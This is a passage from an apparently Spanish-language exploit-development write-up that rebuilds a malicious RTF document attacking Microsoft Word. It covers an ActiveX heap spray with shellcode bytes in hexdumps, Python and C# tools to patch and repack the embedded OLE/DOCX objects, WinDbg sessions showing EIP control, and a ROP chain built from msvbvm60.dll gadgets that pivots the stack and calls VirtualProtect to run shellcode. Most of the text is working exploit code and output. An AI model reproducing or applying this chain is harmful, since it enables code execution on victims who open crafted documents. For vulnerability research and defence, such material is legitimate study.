 <Relationship Id="rId1" Type="https://schemas.microsoft.com/office/2006/relationships/activeXControlBinary" Target="activeX1.bin"/>
</Relationships>  

Por lo que el objeto incrustado repetidas veces se encuentra en word/activeX/activeX1.bin.

$ file word/activeX/activeX1.bin
word/activeX/activeX1.bin: Composite Document File V2 Document, Cannot read section info

De nuevo es un objeto CDF. El contenido de este objeto será cargado repetidas veces, efectivamente creando un spray en el heap, de modo que podamos tener datos controlados en direcciones fijas de memoria.

El contenido real del archivo, una vez saltada la cabecera, comienza en el offset 0x800. Aquí podemos observar que se repite la secuencia cb40 9472 ec83 8808 hasta llegar al offset 0x00000f30, en el que encontramos cb40 9472 d010 9472 seguido de bytes sin ningún patrón, para terminar con 2b0e 9872 repetido hasta el offset 0x00001800. Aquí podemos ver que toda la secuencia anterior se repite hasta el final del archivo.

0x000007f0  ffff ffff ffff ffff ffff ffff ffff ffff  ................
0x00000800  cb40 9472 ec83 8808 cb40 9472 ec83 8808  .@.r.....@.r....
0x00000810  cb40 9472 ec83 8808 cb40 9472 ec83 8808  .@.r.....@.r....
0x00000820  cb40 9472 ec83 8808 cb40 9472 ec83 8808  .@.r.....@.r....
0x00000830  cb40 9472 ec83 8808 cb40 9472 ec83 8808  .@.r.....@.r....
[...]
0x00000f20  cb40 9472 ec83 8808 cb40 9472 ec83 8808  .@.r.....@.r....
0x00000f30  cb40 9472 d010 9472 8f08 9572 b0dd 9572  .@.r...r...r...r
0x00000f40  908c 8808 0102 0000 4000 0000 45c0 a472  ........@...E..r
0x00000f50  892d 8888 8808 9b9b 33c9 648b 7130 8b76  .-......3.d.q0.v
0x00000f60  0c8b 761c 8b46 088b 7e20 8b36 813f 6b00  ..v..F..~ .6.?k.
0x00000f70  6500 75f0 8bf0 eb57 608b de56 8b73 3c8b  e.u....W`..V.s<.
0x00000f80  741e 7803 f356 8b76 2003 f333 c949 41ad  t.x..V.v ..3.IA.
0x00000f90  03c3 5633 f60f be10 3af2 7408 c1ce 0703  ..V3....:.t.....
0x00000fa0  f240 ebf1 3975 005e 75e4 5a8b fb8b 5a24  .@..9u.^u.Z...Z$
[...]
0x000010a0  8bc7 b900 0000 008b 1681 f233 33ad bc89  ...........33...
0x000010b0  1783 c101 81f9 5001 0000 7408 83c6 0483  ......P...t.....
0x000010c0  c704 ebe3 ffe0 cccc 2b0e 9872 2b0e 9872  ........+..r+..r
0x000010d0  2b0e 9872 2b0e 9872 2b0e 9872 2b0e 9872  +..r+..r+..r+..r
0x000010e0  2b0e 9872 2b0e 9872 2b0e 9872 2b0e 9872  +..r+..r+..r+..r
0x000010f0  2b0e 9872 2b0e 9872 2b0e 9872 2b0e 9872  +..r+..r+..r+..r
[...]
0x000017d0  2b0e 9872 2b0e 9872 2b0e 9872 2b0e 9872  +..r+..r+..r+..r
0x000017e0  2b0e 9872 2b0e 9872 2b0e 9872 2b0e 9872  +..r+..r+..r+..r
0x000017f0  2b0e 9872 2b0e 9872 2b0e 9872 2b0e 9872  +..r+..r+..r+..r
0x00001800  cb40 9472 ec83 8808 cb40 9472 ec83 8808  .@.r.....@.r....
0x00001810  cb40 9472 ec83 8808 cb40 9472 ec83 8808  .@.r.....@.r....
0x00001820  cb40 9472 ec83 8808 cb40 9472 ec83 8808  .@.r.....@.r....

Veamos la eficacia del spray. Para ello, cargamos el archivo en Word y de nuevo attacheamos con WinDbg. Continuamos la ejecución hasta el crash, y buscamos en toda la memoria del proceso alguna marca o tag que conozcamos dentro de contenido que se ha sprayeado. Por ejemplo, cb409472d0109472.

0:000> .logopen C:\users\user\desktop\h1.txt
Opened log file 'C:\users\user\desktop\h1.txt'
0:000> s 0 L?+80000000 cb 40 94 72 d0 10 94 72
[...]
0:000> .logclose
Closing open log file C:\users\user\desktop\h1.txt

En el archivo de log podemos ver que se ha comenzado a encontrar el tag en 0x02e80f50, y la última ocurrencia la podemos ver en 0x12eaff50. Puesto que hemos escogido un tag que no se encuentra al principio del contenido spameado, para obtener las direcciones en las que encontraremos nuestro buffer hemos de restarle su posición:

0x00000f30  cb40 9472 d010 9472

0xf30 – 0x800 = 0x730
0x02e80f50 – 0x730 = 0x2E80820

0:000> dd 0x2E80820
02e80820  729440cb 088883ec 729440cb 088883ec
02e80830  729440cb 088883ec 729440cb 088883ec
02e80840  729440cb 088883ec 729440cb 088883ec
02e80850  729440cb 088883ec 729440cb 088883ec
02e80860  729440cb 088883ec 729440cb 088883ec
02e80870  729440cb 088883ec 729440cb 088883ec
02e80880  729440cb 088883ec 729440cb 088883ec
02e80890  729440cb 088883ec 729440cb 088883ec

0:000> dd 0x2E80820+0x1000
02e81820  729440cb 088883ec 729440cb 088883ec
02e81830  729440cb 088883ec 729440cb 088883ec
02e81840  729440cb 088883ec 729440cb 088883ec
02e81850  729440cb 088883ec 729440cb 088883ec
02e81860  729440cb 088883ec 729440cb 088883ec
02e81870  729440cb 088883ec 729440cb 088883ec
02e81880  729440cb 088883ec 729440cb 088883ec
02e81890  729440cb 088883ec 729440cb 088883ec

0:000> dd 0x2E80820+0x1000+0x1000
02e82820  729440cb 088883ec 729440cb 088883ec
02e82830  729440cb 088883ec 729440cb 088883ec
02e82840  729440cb 088883ec 729440cb 088883ec
02e82850  729440cb 088883ec 729440cb 088883ec
02e82860  729440cb 088883ec 729440cb 088883ec
02e82870  729440cb 088883ec 729440cb 088883ec
02e82880  729440cb 088883ec 729440cb 088883ec
02e82890  729440cb 088883ec 729440cb 088883ec

0:000> dd 0x2E80820+0x1000+0x1000-4
02e8281c  72980e2b 729440cb 088883ec 729440cb
02e8282c  088883ec 729440cb 088883ec 729440cb
02e8283c  088883ec 729440cb 088883ec 729440cb
02e8284c  088883ec 729440cb 088883ec 729440cb
02e8285c  088883ec 729440cb 088883ec 729440cb
02e8286c  088883ec 729440cb 088883ec 729440cb
02e8287c  088883ec 729440cb 088883ec 729440cb
02e8288c  088883ec 729440cb 088883ec 729440cb

Podemos ver que cada 0x1000 bytes a partir de la posición inicial en la que encontramos el spray nos encontramos el contenido de activex1.bin.

Ya contamos con lo necesario para poder llegar a controlar EIP. Sólo nos falta poder modificar los archivos de manera fácil.

0x04 – Creación de la matryoska

Tenemos que gestionar la siguiente estructura para modificar los archivos que necesitamos:

RTF
    CDF/OLE                                Objeto embebido en RTF
        DOCX/ZIP                           Archivo dentro del contenedor CDF
            XML -> document.xml            Archivo que queremos modificar
    CDF/OLE                                Objeto embebido en RTF
        DOCX/ZIP                           Archivo dentro del contenedor CDF
            CDF/OLE -> activex1.bin        Archivo que queremos modificar

Nuestro objetivo es:

  1. Modificar el contenido de activex1.bin con nuestro payload
  2. Modificar document.xml con la dirección a la que queremos que Word acceda
  3. Generar dos nuevos ZIPs/DOCX que contengan los dos archivos modificados en los dos pasos anteriores
  4. Generar dos nuevos objetos CDF que contengan los dos ZIPs/DOCX generados en el paso anterior
  5. Reemplazar los objetos CDF del RTF original por los dos generados en el paso anterior

Modificación de activex1.bin

Para hacer una prueba preliminar sobreescribiremos el primer dword de cada trozo repetido del archivo (en la posición 0x800 + N * 0x1000) por 0x41424344

$ cat tag_bin.py
import sys

if __name__ == '__main__':
        in_filepath = sys.argv[1]
        out_filepath = sys.argv[2]

        f = open(in_filepath, "rb")
        original = bytearray(f.read())
        f.close()

        begin = 0x800
        offset = 0x1000

        p = begin
        while p < len(original) - 4:
                original[p] = 0x44
                original[p+1] = 0x43
                original[p+2] = 0x42
                original[p+3] = 0x41

                p += offset

        f = open(out_filepath, "wb")
        f.write(original)
        f.close()

$ python tag_bin.py 00039807.doc/word/activeX/activeX1.bin test.bin
$ mv test.bin 00039807.doc/word/activeX/activeX1.bin

Modificación de document.xml

Queremos sustituir la dirección que utilizaron los autores del exploit por una dirección válida en nuestro entorno:

$ cat replace_offset.py
import struct
import sys

def dword_to_crap(v):
    # unicode -> utf8
    return struct.pack("<I", v).decode("utf-16le").encode("utf-8").encode("hex") def crap_to_dword(v): # utf8 -> unicode
    return unicode(v.decode("utf-8")).encode("utf-16le")

if __name__ == '__main__':
    whatb = sys.argv[1]
    withb = sys.argv[2]
    fpath = sys.argv[3]
    fdest = sys.argv[4]

    withv = dword_to_crap(int(withb, 16))

    #print ' -> %s' % crap_to_dword(whatb.decode("hex")).encode("hex")
    print 'Replacing raw utf8 "%s" with %s -> %s' % (whatb, withb, withv)

    f = open(fpath, "rb")
    b = f.read()
    f.close()

    c = b.replace(whatb.decode("hex"), withv.decode("hex"))

    f = open(fdest, "wb")
    f.write(c)
    f.close()

$ python2 replace_offset.py e8a3ace0a288 0x0f8f4820 000538E9.doc/word/document.xml document.xml
Replacing raw utf8 "e8a3ace0a288" with 0x0f8f4820 -> e4a0a0e0be8f
$ mv document.xml 000538E9.doc/word/document.xml

Creación de los dos ZIPs/DOCX

$ cd 00039807.doc
$ zip -D -q -9 -r spray.doc .
$ cd ../000538E9.doc
$ zip -D -q -9 -r trigger.doc .

Creación de los dos CDFs

Necesitamos una librería que nos permita modificar el contenido de estos archivos. En python existe la librería olefile, pero la implementación de las rutinas para modificar archivos no es completa.

Finalmente, se optó por la librería openmcdf para C#. Con ella simplemente tenemos que escribir una pequeña utilidad que nos permita modificar archivos:

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;

using OpenMcdf;

namespace cdfreplace
{
    class Program
    {
        static void Main(string[] args)
        {
            string sourcefile = args[0];
            string targetstream = args[1];
            string replfile = args[2];
            string outfile = args[3];

            byte[] replbytes = System.IO.File.ReadAllBytes(replfile);

            System.IO.File.Copy(sourcefile, outfile);

            OpenMcdf.CompoundFile cf = new OpenMcdf.CompoundFile(
                outfile,
                OpenMcdf.CFSUpdateMode.Update,
                OpenMcdf.CFSConfiguration.Default | OpenMcdf.CFSConfiguration.EraseFreeSectors | OpenMcdf.CFSConfiguration.SectorRecycle
               );
            OpenMcdf.CFStream st = cf.RootStorage.GetStream(targetstream);
            st.SetData(replbytes);
            cf.Commit();
        }
    }
}

Renombraremos los CDFs originales extraídos con rtfobj para mayor comprensibilidad:

– cb3429e608144909ef25df2605c24ec253b10b6e99cbb6657afa6b92e9f32fb5_object_00039807.doc -> original_spray.cdf

– cb3429e608144909ef25df2605c24ec253b10b6e99cbb6657afa6b92e9f32fb5_object_000538E9.doc -> original_trigger.cdf

Compilamos con Visual Studio el código anterior, habiendo instalado previamente el paquete OpenMcdf. Lo ejecutamos de la siguiente forma:

$ mono cdfreplace.exe original_spray.cdf Package 00039807.doc/spray.doc spray.cdf
$ mono cdfreplace.exe original_trigger.cdf Package 000538E9.doc/trigger.doc trigger.doc

Con esto hemos obtenido los dos objetos a reemplazar en el RTF original.

Modificación del RTF

Mediante la pequeña herramienta que se creó, reemplazamos los objetos 1 y 2 por los que acabamos de generar.

$ python2 rtf.py --input original.rtf --output tmp.rtf --replace 1 --withfile spray.cdf
$ python2 rtf.py --input tmp.rtf --output final.rtf --replace 2 --withfile trigger.cdf

PoK (Proof of Kaboom)

Copiamos el archivo test.rtf a nuestra VM aislada y lo lanzamos bajo WinDbg:

(de8.944): Unknown exception - code e0000002 (first chance)
(de8.944): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Program Files (x86)\Microsoft Office\Office15\wwlib.dll - 
eax=0f8f4820 ebx=00000000 ecx=41424344 edx=00000004 esi=0a8b3f20 edi=0aa27604
eip=702882a6 esp=003349b8 ebp=00334a28 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00210202
wwlib!DllGetLCID+0x2e1e1c:
702882a6 ff5104          call    dword ptr [ecx+4]    ds:002b:41424348=????????

0:000> ub;u
wwlib!DllGetLCID+0x2e1e05:
7028828f 85c9            test    ecx,ecx
70288291 0f84c768e9ff    je      wwlib!DllGetLCID+0x1786d4 (7011eb5e)
70288297 8b4744          mov     eax,dword ptr [edi+44h]
7028829a 894844          mov     dword ptr [eax+44h],ecx
7028829d 8b4744          mov     eax,dword ptr [edi+44h]
702882a0 8b4044          mov     eax,dword ptr [eax+44h]
702882a3 8b08            mov     ecx,dword ptr [eax]
702882a5 50              push    eax
wwlib!DllGetLCID+0x2e1e1c:
702882a6 ff5104          call    dword ptr [ecx+4]
702882a9 e9b068e9ff      jmp     wwlib!DllGetLCID+0x1786d4 (7011eb5e)
702882ae 83f802          cmp     eax,2
702882b1 750f            jne     wwlib!DllGetLCID+0x2e1e38 (702882c2)
702882b3 8d4624          lea     eax,[esi+24h]
702882b6 50              push    eax
702882b7 52              push    edx
702882b8 e893171c00      call    wwlib!DllGetLCID+0x4a35c6 (70449a50)

Podemos ver en EAX el valor 0x0f8f4820 y en ECX el valor 0x41424344. Nos encontramos en una instrucción que llamará a lo que haya en la dirección 0x0f8f4820+4. Ya sólo nos queda modificar el payload para obtener EIP.

0x05 – Creación de nuestro payload

Recordemos el layout que hemos de lograr en memoria para controlar EIP:

Dirección    Valor
X            X
X + 4        EIP objetivo

Luego, si continuamos usando la dirección 0x0f8f4820, lo que debemos colocar al principio del payload es

[
    0x0f8f4820,
    EIP
]

Para conseguir:

Dirección    Valor
0x0f8f4820   0x0f8f4820
0x0f8f4824   EIP objetivo

¿Cómo podemos convertir esto en ejecución de código? Lo que tenemos es un salto a una dirección controlada. Tenemos DEP activado, por lo que no podemos saltar directamente a una posición en el heap en la que colocaríamos una shellcode.

En lugar de eso, debemos utilizar ROP. Para ello necesitamos que ESP apunte a algún lugar de memoria en el que podamos colocar las direcciones de nuestros gadgets. El lugar de memoria en el que podemos tener valores controlados en direcciones conocidas es el mismo heap que estamos sprayeando, por lo que debemos hacer un stack pivot.

Nuestro objetivo, por tanto, es hacer que EIP apunte a una secuencia de instrucciones que hagan que ESP apunte a algún lugar del heap que controlamos, posiblemente a continuación de las dos direcciones que hemos colocado hasta ahora.

Como comentamos al principio del post, el único módulo que no cuenta con ASLR es msvbvm60.dll. Obtengamos los gadgets disponibles en esta librería:

$ sha256sum libs/msvbvm60.dll
2246b4feae199408ea66d4a90c1589026f4a5800ce5a28e583b94506a8a73dce  libs/msvbvm60.dll
$ ROPgadget --binary libs/msvbvm60.dll > gadgets.txt

Este es el entorno en el que nos movemos:

  • EAX = la dirección de nuestro payload
  • ECX = la dirección de nuestro payload
  • Cima del stack: la dirección de nuestro payload (una vez que se ejecute el call, tendremos antes la dirección de retorno)

Queremos:

  • ESP = dirección de nuestro payload + algún offset dentro del payload que nos deje hueco para los suficientes gadgets. Por tanto, no nos basta con poder copiar EAX o ECX a ESP, necesitamos sumarle al menos 8 bytes.
  • Poder conservar una copia del ESP original, para poder reestablecer el flujo de ejecución más adelante

Veamos qué gadgets nos permiten controlar ESP, evitando aquellos que hagan llamadas o saltos (se podrían intentar utilizar, pero habiendolos examinado no había ninguno que permitiese controlar el flujo de manera sencilla).

$ cat gadgets.txt| grep -v call | grep -v jmp | grep -v jb | grep esp | grep xchg
[...]
0x7297d562 : je 0x7297d590 ; adc al, ch ; pop ecx ; xchg eax, esp ; add al, byte ptr [eax] ; ret 8
[...]

Hay varios gadgets que nos permiten cumplir nuestro objetivo. En su momento, escogimos este. Aunque comienza con un salto, nada nos impide evitarlo saltando unos bytes más adelante:

$ r2 libs/msvbvm60.dll
[0x72941af8]> s 0x7297d562
[0x7297d562]> pd
        ,=< 0x7297d562      7424           je 0x7297d588
        |   0x7297d564      10e8           adc al, ch
        |   0x7297d566      59             pop ecx
        |   0x7297d567      94             xchg eax, esp
        |   0x7297d568      0200           add al, byte [eax]
        |   0x7297d56a      c20800         ret 8

Por tanto, si saltamos a la dirección 0x7297d564, esto será lo que ocurra, instrucción a instrucción:

  • EAX = 0x0f8f4820
  • ECX = 0x0f8f4820
  • EAX = EAX + 2º byte de menor peso de ECX => EAX = EAX + 0x48 => EAX = 0x0f8f4868
  • ECX = dirección de retorno introducida en la pila por el call
  • ESP = dirección de nuestro payload + 0x48 => ESP = 0x0f8f4868
  • EAX = antigua dirección de la pila
  • EAX = antigua dirección de la pila + [0-0xff]
  • ESP = dirección del inicio de nuestro ROP chain
  • EIP = dirección que escribiremos en la posición 0x48 de nuestro payload (0x0f8f4868 – 0x0f8f4820)

Hay que tener en cuenta que el gadget termina con “ret 8”, por lo que entre el primer y el segundo gadget de la cadena habrá que meter 8 bytes de padding.

A partir de este momento, podemos ejecutar gadgets mediante ROP, colocando sus direcciones en nuestro payload a partir de las dos primeras. Hagamos la prueba, haciendo que Word salte a 0x41414141. Este será el principio del payload:

import struct
import sys

p = lambda x: struct.pack("<L", x) heap = 0x0f8f4820 pivot = 0x7297d564 padsize = (heap >> 8) & 0xFF

rop = [
  p(heap),
  p(pivot),

  "a" * (padsize - 8),

  p(0x41414141)
]

payload = bytearray("".join(rop))
payload_size = len(payload)

if __name__ == '__main__':
  in_filepath = sys.argv[1]
  out_filepath = sys.argv[2]

  f = open(in_filepath, "rb")
  original = bytearray(f.read())
  f.close()

  begin = 0x800
  offset = 0x1000

  p = begin
  while p < len(original) - payload_size:
    for x in range(payload_size):
      original[p + x] = payload[x]

    p += offset

  f = open(out_filepath, "wb")
  f.write(original)
  f.close()

Veamos si vamos por el buen camino. En Windbg, al attachear, ponemos un breakpoint en la dirección del pivote:

(2dc.158): Break instruction exception - code 80000003 (first chance)
eax=7ef88000 ebx=00000000 ecx=00000000 edx=77b3f142 esi=00000000 edi=00000000
eip=77ab000c esp=0da1f8d4 ebp=0da1f900 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
ntdll!DbgBreakPoint:
77ab000c cc              int     3

0:016> bu 0x7297d564

0:016> g
(2dc.a70): Unknown exception - code e0000002 (first chance)
Breakpoint 0 hit
eax=0f8f4820 ebx=00000000 ecx=0f8f4820 edx=00000004 esi=0a769fc0 edi=0a8fdac4
eip=7297d564 esp=00494cb4 ebp=00494d28 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00200202
msvbvm60!IID_IVbaHost+0xef24:
7297d564 10e8            adc     al,ch

0:000> p
eax=0f8f4868 ebx=00000000 ecx=0f8f4820 edx=00000004 esi=0a769fc0 edi=0a8fdac4
eip=7297d566 esp=00494cb4 ebp=00494d28 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00200202
msvbvm60!IID_IVbaHost+0xef26:
7297d566 59              pop     ecx

0:000> p
eax=0f8f4868 ebx=00000000 ecx=6ec182a9 edx=00000004 esi=0a769fc0 edi=0a8fdac4
eip=7297d567 esp=00494cb8 ebp=00494d28 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00200202
msvbvm60!IID_IVbaHost+0xef27:
7297d567 94              xchg    eax,esp

0:000> p
eax=00494cb8 ebx=00000000 ecx=6ec182a9 edx=00000004 esi=0a769fc0 edi=0a8fdac4
eip=7297d568 esp=0f8f4868 ebp=00494d28 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00200202
msvbvm60!IID_IVbaHost+0xef28:
7297d568 0200            add     al,byte ptr [eax]          ds:002b:00494cb8=20

0:000> p
eax=00494cd8 ebx=00000000 ecx=6ec182a9 edx=00000004 esi=0a769fc0 edi=0a8fdac4
eip=7297d56a esp=0f8f4868 ebp=00494d28 iopl=0         nv up ei ng nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00200286
msvbvm60!IID_IVbaHost+0xef2a:
7297d56a c20800          ret     8

0:000> p
eax=00494cd8 ebx=00000000 ecx=6ec182a9 edx=00000004 esi=0a769fc0 edi=0a8fdac4
eip=41414141 esp=0f8f4874 ebp=00494d28 iopl=0         nv up ei ng nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00200286
41414141 ??              ???

Éxito.

El siguiente objetivo es ejecutar una shellcode. Para ello debemos colocarla en una zona de memoria cuya dirección controlemos (es decir, la misma zona del heap donde estamos trabajando) y llamar a la función

VirtualProtect(address, size, PAGE_EXECUTE_READWRITE, &old_protect);

Donde:

  • address: dirección de la shellcode
  • size: tamaño de la zona de memoria que queremos convertir en ejecutable.
  • PAGE_EXECUTE_READWRITE: queremos asignar los permisos de lectura, escritura y ejecución. Su valor es 0x40. Lo ideal sería solo PAGE_EXECUTE_READ, pero estamos usando la misma zona de memoria para la shellcode que para nuestra pila, por lo que es necesario que la página sea escribible.
  • old_protect: dirección donde guardar los flags antiguos de protección.

Necesitamos conocer la dirección de VirtualProtect. Podríamos ubicarla a partir del PEB, pero msvbvm60 nos lo pone más fácil. Veamos sus imports:

$ r2 ibs/msvbvm60.dll
[0x72941af8]> ii~VirtualProtect
ordinal=053 plt=0x729410d0 bind=NONE type=FUNC name=KERNEL32.dll_VirtualProtect

0:000> dd 0x729410d0
729410d0  759042ff 75904333 7591e8c5 75925935
0:000> u 759042ff 
kernel32!VirtualProtectStub:
759042ff 8bff            mov     edi,edi
75904301 55              push    ebp
75904302 8bec            mov     ebp,esp
75904304 5d              pop     ebp
75904305 e9becdffff      jmp     kernel32!VirtualProtect (759010c8)

Es decir, en la dirección fija de msvbvm60 0x729410d0 tenemos la dirección de VirtualProtect. Si saltamos aquí directamente, tenemos que colocar en la pila los valores de los argumentos, así como la siguiente dirección de retorno, del mismo modo que quedaría si hubiesemos hecho una llamada con call:

Direcciones altas de la pila
----
old_protect                   ; push arg_4
PAGE_EXECUTE_READWRITE        ; push arg_3
size                          ; push arg_2
address                       ; push arg_1
siguiente gadget              ; call VirtualProtect
----
Direcciones bajas de la pila

¿Cómo saltamos a VirtualProtect? Podemos buscar en la lista de gadgets saltos que podamos controlar:

  • A registros, por ejemplo, jmp eax
  • A punteros en registros, por ejemplo, jmp [eax]

El segundo caso nos ahorra tener que hacer la dereferencia en nuestro ROP chain, por tanto:

$ cat gadgets.txt| grep "jmp dword ptr \["
[...]
0x7295088f : jmp dword ptr [eax]
0x72a3eb27 : jmp dword ptr [ebp - 0x6c]
0x729907a2 : jmp dword ptr [ebx]
0x72a429d8 : jmp dword ptr [ecx - 1]
0x72949a32 : jmp dword ptr [ecx]
0x729eb1db : jmp dword ptr [edi]
0x729eb1e0 : jmp dword ptr [edx]
0x72a21a18 : jmp dword ptr [esi - 0x75]
0x72a00884 : jmp dword ptr [esi - 0x7d]
0x7295cb96 : jmp dword ptr [esi]
0x729eb1ef : jmp dword ptr [esp + esi*2]
[...]
0x729914fb : sti ; jmp dword ptr [ecx]
[...]

Tenemos donde elegir. ¿Qué registros podemos controlar fácilmente?

$ cat gadgets.txt| egrep ": pop (e[abcd]x|e[sd]i) ; ret"
0x729440cb : pop eax ; ret
0x72992f5e : pop eax ; ret 0x10
0x72a06933 : pop eax ; ret 0x14
0x729c0a9b : pop eax ; ret 0xc
0x72944175 : pop eax ; ret 4
0x7298fa2e : pop eax ; ret 8
0x72941f10 : pop ebx ; ret
0x72991c70 : pop ebx ; ret 0x10
0x72999274 : pop ebx ; ret 0x14
0x72941b4e : pop ebx ; ret 0xc
0x72943255 : pop ebx ; ret 4
0x729459e4 : pop ebx ; ret 8
0x729419f4 : pop ecx ; ret
0x729e1dfc : pop ecx ; ret 0x14
0x72954ecc : pop ecx ; ret 0x7297
0x729e19db : pop ecx ; ret 0xc
0x729ff08b : pop ecx ; ret 0xfff5
0x7294a47b : pop ecx ; ret 4
0x7294464b : pop ecx ; ret 8
0x7294575b : pop edi ; ret
0x729d0fc9 : pop edi ; ret 0x10
0x7294e501 : pop edi ; ret 4
0x7298c1e4 : pop edi ; ret 8
0x729a4421 : pop edx ; ret
0x72941e54 : pop esi ; ret
0x7294a52f : pop esi ; ret 0x10
0x72974c79 : pop esi ; ret 0x14
0x729a32b5 : pop esi ; ret 0x1c
0x729d831e : pop esi ; ret 0x24
0x72945a74 : pop esi ; ret 0xc
0x7294356a : pop esi ; ret 4
0x72945940 : pop esi ; ret 8

Podemos usar EAX, mismamente. Antes de pisarlo, sería conveniente guardar su valor en algún sitio, ya que es donde tenemos la copia del ESP anterior, pero eso queda como ejercicio.

Nos queda elegir una dirección fija en la que guardar la antigua protección, el 4º parámetro de VirtualProtect. Veamos donde queda la zona de memoria reservada a datos escribibles:

[0x7297d562]> iS
[Sections]
idx=00 vaddr=0x72941000 paddr=0x00001000 sz=1032192 vsz=1032192 perm=m-r-x name=.text
idx=01 vaddr=0x72a3d000 paddr=0x000fd000 sz=53248 vsz=53248 perm=m-r-x name=ENGINE
idx=02 vaddr=0x72a4a000 paddr=0x0010a000 sz=28672 vsz=32768 perm=m-rw- name=.data
idx=03 vaddr=0x72a52000 paddr=0x00111000 sz=200704 vsz=200704 perm=m-r-- name=.rsrc
idx=04 vaddr=0x72a83000 paddr=0x00142000 sz=65536 vsz=65536 perm=m-r-- name=.reloc

0:000> dd 0x72a4a000 0x72a4a000+28672
[...]
72a4d290  00000000 00000000 00000000 00000000
72a4d2a0  00000000 00000000 00000000 00000000
72a4d2b0  00000000 00000000 00000000 00000000
72a4d2c0  00000000 00000000 00000000 00000000
72a4d2d0  00000000 00000000 00000000 00000000
72a4d2e0  00000000 00000000 00000000 00000000
72a4d2f0  00000000 00000000 00000000 00000000
72a4d300  00000000 00000000 00000000 00000000
72a4d310  00000000 00000000 00000000 00000000
72a4d320  00000000 00000000 00000000 00000000
72a4d330  00000000 00000000 00000000 00000000
72a4d340  00000000 00000000 00000000 00000000
72a4d350  00000000 00000000 00000000 00000000
72a4d360  00000000 00000000 00000000 00000000
72a4d370  00000000 00000000 00000000 00000000
72a4d380  00000000 00000000 00000000 00000000
72a4d390  00000000 00000000 00000000 00000000
72a4d3a0  00000000 00000000 00000000 00000000
72a4d3b0  00000000 00000000 00000000 00000000
[...]

Buscamos una zona en la que no parezca haber datos anteriores. Escogemos una dirección cualquiera, 0x72a4d300. Al finalizar la shellcode volveremos a guardar el valor 0 aquí.

Por tanto, nuestra cadena quedaría:

heap = 0x0f8f4820
pivot = 0x7297d564
pop_eax = 0x729440cb
jmp_ptr_eax = 0x7295088f
ptr_virtualprotect = 0x729410d0

virtualprotect_size = 0x200
virtualprotect_prot = 0x40
virtualprotect_oldprot = 0x72a4d300
shellcode_address = heap + (padsize - 8) + 48

shellcode = "\xcc"

rop = [
  p(heap),                  # @0
  p(pivot),                 # @4

  "a" * (padsize - 8),      # @8

  p(pop_eax),               # @ 8 + padsize
  "a" * 8,                  # @ 12 + padsize ; compensamos ret 8
  p(ptr_virtualprotect),   # @ 20 + padsize
  p(jmp_ptr_eax),           # @ 24 + padsize

  p(shellcode_address),     # @ 28 + padsize ; retorno de VirtualProtect
  p(shellcode_address),     # @ 32 + padsize ; address
  p(virtualprotect_size),   # @ 36 + padsize ; size
  p(virtualprotect_prot),   # @ 40 + padsize ; new prot
  p(virtualprotect_oldprot),# @ 44 + padsize ; & old prot

  shellcode                 # @ 48 + padsize
]

Si todo va bien, al generar el archivo RTF y abrirlo con Word, WinDbg debería parar en el “int 3” que hemos utilizado como shellcode.

0:015> bu 0x7297d564
(ecc.3d4): Unknown exception - code e0000002 (first chance)
Breakpoint 0 hit
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Program Files (x86)\Microsoft Office\Office15\wwlib.dll - 
eax=0f8f4820 ebx=00000000 ecx=0f8f4820 edx=00000004 esi=0a45f4d0 edi=0a47cde4
eip=7297d564 esp=00644bd4 ebp=00644c48 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00200202
msvbvm60!IID_IVbaHost+0xef24:
7297d564 10e8            adc     al,ch

0:000> p
eax=0f8f4868 ebx=00000000 ecx=0f8f4820 edx=00000004 esi=0a45f4d0 edi=0a47cde4
eip=7297d566 esp=00644bd4 ebp=00644c48 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00200202
msvbvm60!IID_IVbaHost+0xef26:
7297d566 59              pop     ecx

0:000> 
eax=0f8f4868 ebx=00000000 ecx=6f9882a9 edx=00000004 esi=0a45f4d0 edi=0a47cde4
eip=7297d567 esp=00644bd8 ebp=00644c48 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00200202
msvbvm60!IID_IVbaHost+0xef27:
7297d567 94              xchg    eax,esp

0:000> 
eax=00644bd8 ebx=00000000 ecx=6f9882a9 edx=00000004 esi=0a45f4d0 edi=0a47cde4
eip=7297d568 esp=0f8f4868 ebp=00644c48 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00200202
msvbvm60!IID_IVbaHost+0xef28:
7297d568 0200            add     al,byte ptr [eax]          ds:002b:00644bd8=20

0:000> 
eax=00644bf8 ebx=00000000 ecx=6f9882a9 edx=00000004 esi=0a45f4d0 edi=0a47cde4
eip=7297d56a esp=0f8f4868 ebp=00644c48 iopl=0         nv up ei ng nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00200282
msvbvm60!IID_IVbaHost+0xef2a:
7297d56a c20800          ret     8

0:000> 
eax=00644bf8 ebx=00000000 ecx=6f9882a9 edx=00000004 esi=0a45f4d0 edi=0a47cde4
eip=729440cb esp=0f8f4874 ebp=00644c48 iopl=0         nv up ei ng nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00200282
msvbvm60!ThunRTMain+0xb27:
729440cb 58              pop     eax

0:000> 
